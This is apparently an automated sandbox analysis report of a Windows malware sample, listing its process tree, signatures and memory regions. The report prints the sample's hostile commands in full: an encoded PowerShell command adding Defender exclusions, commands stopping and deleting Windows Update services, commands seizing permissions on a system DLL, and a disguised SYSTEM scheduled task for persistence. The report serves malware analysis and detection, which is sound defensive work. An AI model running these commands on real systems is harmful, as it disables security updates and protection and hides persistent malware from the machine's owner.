Analysis
-
max time kernel
44s -
max time network
49s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
15-05-2022 10:15
Static task
static1
Behavioral task
behavioral1
Sample
a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
Resource
win7-20220414-en
General
-
Target
a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
-
Size
7.6MB
-
MD5
95104aa61ed30687c13e5c644d5722f3
-
SHA1
f9788f808044d448f73203d93da0021cefb781ff
-
SHA256
a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301
-
SHA512
99dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 1340 takeown.exe 1100 icacls.exe -
Stops running service(s) 3 TTPs
-
Modifies file permissions 1 TTPs 2 IoCs
Processes:
takeown.exeicacls.exepid process 1340 takeown.exe 1100 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Program Files directory 2 IoCs
Processes:
conhost.exedescription ioc process File created C:\Program Files\Windows\services.exe conhost.exe File opened for modification C:\Program Files\Windows\services.exe conhost.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry key 1 TTPs 9 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 664 reg.exe 1508 reg.exe 1528 reg.exe 1040 reg.exe 1140 reg.exe 300 reg.exe 1636 reg.exe 1992 reg.exe 1476 reg.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.execonhost.exepid process 1136 powershell.exe 1152 conhost.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.execonhost.exetakeown.exedescription pid process Token: SeDebugPrivilege 1136 powershell.exe Token: SeDebugPrivilege 1152 conhost.exe Token: SeTakeOwnershipPrivilege 1340 takeown.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.execonhost.execmd.execmd.execmd.exedescription pid process target process PID 1236 wrote to memory of 1152 1236 a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe conhost.exe PID 1236 wrote to memory of 1152 1236 a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe conhost.exe PID 1236 wrote to memory of 1152 1236 a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe conhost.exe PID 1236 wrote to memory of 1152 1236 a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe conhost.exe PID 1152 wrote to memory of 1304 1152 conhost.exe cmd.exe PID 1152 wrote to memory of 1304 1152 conhost.exe cmd.exe PID 1152 wrote to memory of 1304 1152 conhost.exe cmd.exe PID 1304 wrote to memory of 1136 1304 cmd.exe powershell.exe PID 1304 wrote to memory of 1136 1304 cmd.exe powershell.exe PID 1304 wrote to memory of 1136 1304 cmd.exe powershell.exe PID 1152 wrote to memory of 1740 1152 conhost.exe cmd.exe PID 1152 wrote to memory of 1740 1152 conhost.exe cmd.exe PID 1152 wrote to memory of 1740 1152 conhost.exe cmd.exe PID 1740 wrote to memory of 364 1740 cmd.exe sc.exe PID 1740 wrote to memory of 364 1740 cmd.exe sc.exe PID 1740 wrote to memory of 364 1740 cmd.exe sc.exe PID 1740 wrote to memory of 1784 1740 cmd.exe sc.exe PID 1740 wrote to memory of 1784 1740 cmd.exe sc.exe PID 1740 wrote to memory of 1784 1740 cmd.exe sc.exe PID 1740 wrote to memory of 108 1740 cmd.exe sc.exe PID 1740 wrote to memory of 108 1740 cmd.exe sc.exe PID 1740 wrote to memory of 108 1740 cmd.exe sc.exe PID 1740 wrote to memory of 1588 1740 cmd.exe sc.exe PID 1740 wrote to memory of 1588 1740 cmd.exe sc.exe PID 1740 wrote to memory of 1588 1740 cmd.exe sc.exe PID 1740 wrote to memory of 1536 1740 cmd.exe sc.exe PID 1740 wrote to memory of 1536 1740 cmd.exe sc.exe PID 1740 wrote to memory of 1536 1740 cmd.exe sc.exe PID 1740 wrote to memory of 300 1740 cmd.exe reg.exe PID 1740 wrote to memory of 300 1740 cmd.exe reg.exe PID 1740 wrote to memory of 300 1740 cmd.exe reg.exe PID 1740 wrote to memory of 664 1740 cmd.exe reg.exe PID 1740 wrote to memory of 664 1740 cmd.exe reg.exe PID 1740 wrote to memory of 664 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1636 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1636 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1636 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1508 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1508 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1508 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1992 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1992 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1992 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1340 1740 cmd.exe takeown.exe PID 1740 wrote to memory of 1340 1740 cmd.exe takeown.exe PID 1740 wrote to memory of 1340 1740 cmd.exe takeown.exe PID 1740 wrote to memory of 1100 1740 cmd.exe icacls.exe PID 1740 wrote to memory of 1100 1740 cmd.exe icacls.exe PID 1740 wrote to memory of 1100 1740 cmd.exe icacls.exe PID 1152 wrote to memory of 1656 1152 conhost.exe cmd.exe PID 1152 wrote to memory of 1656 1152 conhost.exe cmd.exe PID 1152 wrote to memory of 1656 1152 conhost.exe cmd.exe PID 1656 wrote to memory of 1316 1656 cmd.exe schtasks.exe PID 1656 wrote to memory of 1316 1656 cmd.exe schtasks.exe PID 1656 wrote to memory of 1316 1656 cmd.exe schtasks.exe PID 1740 wrote to memory of 1476 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1476 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1476 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1528 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1528 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1528 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1140 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1140 1740 cmd.exe reg.exe PID 1740 wrote to memory of 1140 1740 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
-
C:\Windows\system32\sc.exesc stop bits4⤵
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "GoogleUpdateTaskMachineQC"4⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {5938C49D-6BFA-47E1-8DA7-948EAE7E0A48} S-1-5-18:NT AUTHORITY\System:Service:1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/108-70-0x0000000000000000-mapping.dmp
-
memory/300-73-0x0000000000000000-mapping.dmp
-
memory/364-68-0x0000000000000000-mapping.dmp
-
memory/664-74-0x0000000000000000-mapping.dmp
-
memory/944-94-0x0000000000000000-mapping.dmp
-
memory/948-87-0x0000000000000000-mapping.dmp
-
memory/1040-85-0x0000000000000000-mapping.dmp
-
memory/1100-79-0x0000000000000000-mapping.dmp
-
memory/1136-63-0x000007FEEE9C0000-0x000007FEEF51D000-memory.dmpFilesize
11.4MB
-
memory/1136-66-0x000000000289B000-0x00000000028BA000-memory.dmpFilesize
124KB
-
memory/1136-64-0x000000001B750000-0x000000001BA4F000-memory.dmpFilesize
3.0MB
-
memory/1136-65-0x0000000002894000-0x0000000002897000-memory.dmpFilesize
12KB
-
memory/1136-60-0x0000000000000000-mapping.dmp
-
memory/1140-84-0x0000000000000000-mapping.dmp
-
memory/1152-56-0x000000001B860000-0x000000001BC7C000-memory.dmpFilesize
4.1MB
-
memory/1152-58-0x000007FEFB671000-0x000007FEFB673000-memory.dmpFilesize
8KB
-
memory/1152-57-0x0000000000250000-0x000000000066C000-memory.dmpFilesize
4.1MB
-
memory/1236-54-0x0000000000400000-0x0000000001119000-memory.dmpFilesize
13.1MB
-
memory/1304-59-0x0000000000000000-mapping.dmp
-
memory/1316-81-0x0000000000000000-mapping.dmp
-
memory/1340-78-0x0000000000000000-mapping.dmp
-
memory/1404-86-0x0000000000000000-mapping.dmp
-
memory/1476-82-0x0000000000000000-mapping.dmp
-
memory/1504-91-0x0000000000000000-mapping.dmp
-
memory/1508-76-0x0000000000000000-mapping.dmp
-
memory/1528-83-0x0000000000000000-mapping.dmp
-
memory/1536-72-0x0000000000000000-mapping.dmp
-
memory/1588-71-0x0000000000000000-mapping.dmp
-
memory/1596-89-0x0000000000000000-mapping.dmp
-
memory/1636-75-0x0000000000000000-mapping.dmp
-
memory/1652-90-0x0000000000000000-mapping.dmp
-
memory/1656-80-0x0000000000000000-mapping.dmp
-
memory/1740-67-0x0000000000000000-mapping.dmp
-
memory/1780-88-0x0000000000000000-mapping.dmp
-
memory/1784-69-0x0000000000000000-mapping.dmp
-
memory/1808-92-0x0000000000000000-mapping.dmp
-
memory/1992-77-0x0000000000000000-mapping.dmp
-
memory/2016-93-0x0000000000000000-mapping.dmp